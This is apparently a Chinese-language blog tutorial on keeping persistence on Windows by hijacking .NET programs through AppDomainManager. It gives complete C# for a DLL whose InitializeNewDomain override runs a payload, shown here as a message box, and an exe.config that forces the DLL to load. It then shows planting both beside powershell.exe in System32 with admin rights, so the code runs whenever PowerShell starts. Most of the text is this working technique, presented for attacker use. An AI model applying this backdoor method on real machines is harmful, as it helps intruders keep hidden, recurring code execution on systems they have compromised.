权限维持-劫持系统.Net程序
简介
通过修改AppDomainManager能够劫持.Net程序。 如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制。
主要针对这一思路尝试下劫持过程,以弹框为例子。
测试
先来一个基本的弹框exe。
using System;
using System.Windows.Forms;
public class AppDomainManagerTest
{
public static void Main()
{
MessageBox.Show("test ..");
}
}
编译出来跑一下正常。
然后构建一个dll的项目,用来生成一个劫持加载的dll。
using System;
using System.Windows.Forms;
namespace hijack
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
MessageBox.Show("hijack!");
}
}
}
然后编译生成dll,将dll放到前面的exe文件目录下。
修改xxx.exe.config文件内容。没有这个文件的话就新建一个。
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerType value="hijack.InjectedDomainManager" />
<appDomainManagerAssembly
value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
</runtime>
</configuration>
然后执行exe,可以看到会先加载dll,执行完后才进入征程的流程。
利用到powershell中
其实不仅仅是powershell,找到可供利用的系统.Net程序,都可以尝试去劫持。这里我以powershell为例子去进行测试。
powershell的目录:C:\Windows\System32\WindowsPowerShell\v1.0
需要管理权限操作,将hijack.dll放到这个目录下,然后新建或者修改powershell.exe.config文件为上面的内容。
保存以后。
尝试运行powershell。
可以看到会弹出框。
这也是个一个比较好的权限维持的思路,可是不足的地方也明显,同级目录下是有文件落地的,这样排查起来是很容易的。
参考
https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/